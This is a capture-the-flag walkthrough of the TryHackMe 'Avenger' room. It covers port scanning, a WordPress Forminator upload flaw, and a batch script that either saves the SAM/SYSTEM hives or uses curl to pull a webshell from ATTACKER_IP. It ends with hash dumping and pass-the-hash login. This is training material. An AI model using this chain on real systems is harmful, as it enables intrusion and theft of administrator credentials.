---
description: >-
  Shortest Path to Admin! No reverse shell needed, no fiddling with AV, no need
  to use mimikatz, no need to do privilege escalation.
---

# TryHackMe - Avenger Walk through / Write-up

{% embed url="https://tryhackme.com/room/avenger" %}

<figure><img src="https://images.unsplash.com/photo-1626278664285-f796b9ee7806?crop=entropy&#x26;cs=srgb&#x26;fm=jpg&#x26;ixid=M3wxOTcwMjR8MHwxfHNlYXJjaHw5fHxhdmVuZ2VyfGVufDB8fHx8MTcwMTA5NjY5Mnww&#x26;ixlib=rb-4.0.3&#x26;q=85" alt=""><figcaption><p>Be an avenger!</p></figcaption></figure>

{% hint style="danger" %}
Disclaimer : This no longer works, because the vulnerability was so bad they had to patch it
{% endhint %}

![](https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FjgxZLSohkJrHazMebGPO%2Frasitas.jpg?alt=media\&token=b317b661-69d3-4a38-bf7c-d850733c986a)

But if you wanna learn about it, feel free to read it. Else check out one my friend's write-up

{% embed url="https://0xb0b.gitbook.io/writeups/tryhackme/2023/avenger" %}

**Table of contents**

* [#recon](#recon "mention")
* [#weaponization](#weaponization "mention")
* [#delivery](#delivery "mention")
* [#exploitation](#exploitation "mention")
  * [#get-user-flag](#get-user-flag "mention")
  * [#get-the-root-flag](#get-the-root-flag "mention")

***

### Recon

We first, start off with port scanning, with rust scan, you may use nmap if you like!

```bash
rustscan -a TARGET_IP -- -A -sC
```

{% code title="rustscan output" overflow="wrap" lineNumbers="true" %}
```bash
PORT      STATE SERVICE       REASON  VERSION
80/tcp    open  http          syn-ack Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 3.5K  2022-06-15 16:07  applications.html
| 177   2022-06-15 16:07  bitnami.css
| -     2023-04-06 09:24  dashboard/
| 30K   2015-07-16 15:32  favicon.ico
| -     2023-06-27 09:26  gift/
| -     2023-06-27 09:04  img/
| 751   2022-06-15 16:07  img/module_table_bottom.png
| 337   2022-06-15 16:07  img/module_table_top.png
| -     2023-06-28 14:39  xampp/
|_
| http-methods: 
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-title: Index of /
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      syn-ack Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 3.5K  2022-06-15 16:07  applications.html
| 177   2022-06-15 16:07  bitnami.css
| -     2023-04-06 09:24  dashboard/
| 30K   2015-07-16 15:32  favicon.ico
| -     2023-06-27 09:26  gift/
| -     2023-06-27 09:04  img/
| 751   2022-06-15 16:07  img/module_table_bottom.png
| 337   2022-06-15 16:07  img/module_table_top.png
| -     2023-06-28 14:39  xampp/
|_
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a44cc99e84b26f9e639f9ed229dee0
| SHA-1: b0238c547a905bfa119c4e8baccaeacf36491ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
| http-methods: 
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-title: Index of /
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Hosts: localhost, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 0s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-11-27T14:58:56
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 34070/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 30527/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 20406/udp): CLEAN (Timeout)
|   Check 4 (port 49744/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
```
{% endcode %}

As we can see, there is just too many ports open, but our taget is the web port!, I am gonna try to make this writeup as short as possible.

Visiting the default port 80, we get this page!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FMNhgCmERc9r0MxS8e0Z5%2Fimage.png?alt=media&#x26;token=5323e3db-ec04-44b3-915f-4c4c3bbefdc8" alt=""><figcaption><p>Xampp server running</p></figcaption></figure>

Now visiting the dashboard we can only get the phpinfo page from there, but it's not much of a help, so we can try to get the gift endpoint.

It does not load at first instance! gives of an error that its unable to load the page, however look at the url tab.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FrmruebzkgHKbbzb2L73h%2Fimage.png?alt=media&#x26;token=97b7ff18-c35a-4d74-a254-3fa9c14036a1" alt=""><figcaption><p>check the url tab</p></figcaption></figure>

Now edit your host file so that you can access the site, for example edit your host file as the following

{% code title="/etc/hosts" lineNumbers="true" %}
```bash
  target_ip avenger.tryhackme
```
{% endcode %}

Now you should be able to access the site. It will take some time to load, since it's a windows machine.

Once loaded, it gives us a wordpress powered site. Use **wpscan** for enumerating vulnerabilites in the wordpress!

{% code title="wpscan - plugin enumeration" lineNumbers="true" %}
```
[+] forminator
 | Location: http://avenger.tryhackme/gift/wp-content/plugins/forminator/
 | Last Updated: 2023-11-13T09:11:00.000Z
 | [!] The version is out of date, the latest version is 1.28.0
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.24.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://avenger.tryhackme/gift/wp-content/plugins/forminator/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://avenger.tryhackme/gift/wp-content/plugins/forminator/readme.txt
```
{% endcode %}

A simple googling will lead us to the following exploit against forminator

{% embed url="https://www.exploit-db.com/exploits/51664" %}
forminator exploit
{% endembed %}

As per the notes in expoit db, we can upload any kind of file on the server, lets try something, use the following training request form to upload your batch file, since we are targeting windows, and it is already mentioned that Antivirus is enabled, we need to be carefull about it.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FjZn0xJJ0b9IWAPeuXoH5%2Fimage.png?alt=media&#x26;token=850cfa66-4ff4-41f3-9d04-d8b4b3af7746" alt=""><figcaption><p>form for requesting training</p></figcaption></figure>

So we will not be using any reverse shell for this case, but rather a simple webshell, best webshell is **powny shell**

{% embed url="https://github.com/flozz/p0wny-shell" %}
Powny shell
{% endembed %}

Download the shell.php in your current directory, and prepare your setup.

I have already enumerated the forminator plugin, and I could not find any valid endpoint where the file gets stored, so don't worry about a reverse shell. Since the backend process will check each message carefully we can expect this attack vector as a simple phishing attack, where we upload a malacious file and it gets executed.

***

### Weaponization

Since we know that the target server is likely using xampp, we can think of its absolute default path as the following:

{% code title="Default xampp server path" lineNumbers="true" %}
```bash
C:\xampp\htdocs
```
{% endcode %}

Now we will craft a simple batch file which will check if the user/process that will execute our program  is running as **"nt /authourity"** or not, if its not then download a webshell in htdocs directory, else get the SAM files. Do change the ATTACKER\_IP in the script, modify it as per your needs.

{% code title="getsam.bat" lineNumbers="true" %}
```batch
@echo off

:: Check if the current user is NT AUTHORITY\SYSTEM
whoami /groups | find "S-1-5-18" > nul

if %errorlevel% equ 0 (
    :: Run commands for NT AUTHORITY\SYSTEM
    reg.exe save HKLM\SYSTEM C:\xampp\htdocs\system.bak
    reg.exe save HKLM\SAM C:\xampp\htdocs\sam.bak
) else (
    :: Run commands for other users
    curl http://ATTACKER_IP/powny.php -o C:\xampp\htdocs\shell.php
)

```
{% endcode %}

***

### Delivery

Now start the python server in your directory.

{% code title="Start the server" lineNumbers="true" %}
```bash
python -m http.server 80 .
```
{% endcode %}

Upload the batch file!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2F4LRwZsiELlr1KfVJU03w%2Foutput.gif?alt=media&#x26;token=183cd705-b046-4891-bd81-85c2eaf3ac1e" alt=""><figcaption><p>Upload the batch file</p></figcaption></figure>

Look for the web request in your python server.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FygAj0sUujYDUPdW10rK5%2Fimage.png?alt=media&#x26;token=d1d48f4a-9a92-4f6f-939e-281d56b12a70" alt=""><figcaption><p>Wait for the server to send the file!</p></figcaption></figure>

And you have your shell on the server!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FdB1PEoo0Fl60KBAj37hI%2Fpart_1.gif?alt=media&#x26;token=f188a949-89a5-46af-8068-3ee74144a100" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FvIcKdyUork2LVfdgdYeK%2Fimage.png?alt=media&#x26;token=5d073a51-bd3a-4952-b5ce-28089f91163f" alt=""><figcaption><p>shell.php in htdocs</p></figcaption></figure>

### Exploitation

VIsit the shell.php, and you will have a powny shell ready for you.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FXKRTdu8eB8MBE6875FQz%2Fpart_2.gif?alt=media&#x26;token=b34d2abe-859e-4f4f-834c-5499d61a5f8b" alt=""><figcaption><p>check out the shell!</p></figcaption></figure>

As you can see, if we type **whoami**, we are admin!

That means we can do whatever we want, like disabling Anti-Virus as well, but we dont need to that. Just get the SAM files, and we will get the admin hashes, later use them to gain access to the system.

{% code title="use these commands" lineNumbers="true" %}
```powershell
reg.exe save HKLM\SYSTEM C:\xampp\htdocs\system.bak
reg.exe save HKLM\SAM C:\xampp\htdocs\sam.bak
```
{% endcode %}

Now check the root directory, it should have those registry backups

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FrxrsRMMLoPhot6quBcdq%2Fimage.png?alt=media&#x26;token=d8e8381e-e5d4-485b-b9a0-bac1c9c26909" alt="" width="447"><figcaption></figcaption></figure>

Get the files now.

{% code title="get the sam files" lineNumbers="true" %}
```bash
wget http://avenger.tryhackme/system.bak
wget http://avenger.tryhackme/sam.bak
```
{% endcode %}

Since you have the most sensitive files of the server, now use impacket to get the admin hashes

{% code title="Dump the admin hashes" lineNumbers="true" %}
```bash
impacket-secretsdump -sam sam.bak -system system.bak local
```
{% endcode %}

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FPzXmuCKp7kbcR5wqTOxF%2Fimage.png?alt=media&#x26;token=3f6eacb0-c32d-4883-9af3-6db6d3db6799" alt=""><figcaption><p>admin hash</p></figcaption></figure>

Now since you have admin hash, use evil-winrm to login using pass the hash technique!

{% code title="Evil Winrm" lineNumbers="true" %}
```bash
evil-winrm -u Administrator -H ADMIN_HASH -i TARGET_IP
```
{% endcode %}

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FtJcF0AxN6XudIno3bXSA%2Fimage.png?alt=media&#x26;token=318712ae-03fa-454c-8eb9-3f1856d8e3a3" alt=""><figcaption><p>get access!</p></figcaption></figure>

<figure><img src="https://media.tenor.com/QgTx6fv4IpAAAAAd/el-risitas-juan-joya-borja.gif" alt="" width="375"><figcaption><p>Look Ma! no privesc <span data-gb-custom-inline data-tag="emoji" data-code="1f602">😂</span></p></figcaption></figure>

### Get User Flag

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2Fei1hrqZ2pTzl56RoRU6N%2Fimage.png?alt=media&#x26;token=f8f2517d-b2f9-4caa-8f69-fbb16166e257" alt=""><figcaption><p>Get user flag!</p></figcaption></figure>

### Get the Root flag

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FYMnciVumMa8Ulq8nPtoY%2Fimage.png?alt=media&#x26;token=14322acd-c5f2-4d02-97a0-278152e9961c" alt=""><figcaption><p>Get root flag!</p></figcaption></figure>

Thank you for reading my article :heart: Happy Hunting :sunglasses:, feel free to connect with me on [Linkedin](https://linkedin.com/in/sumanrox)
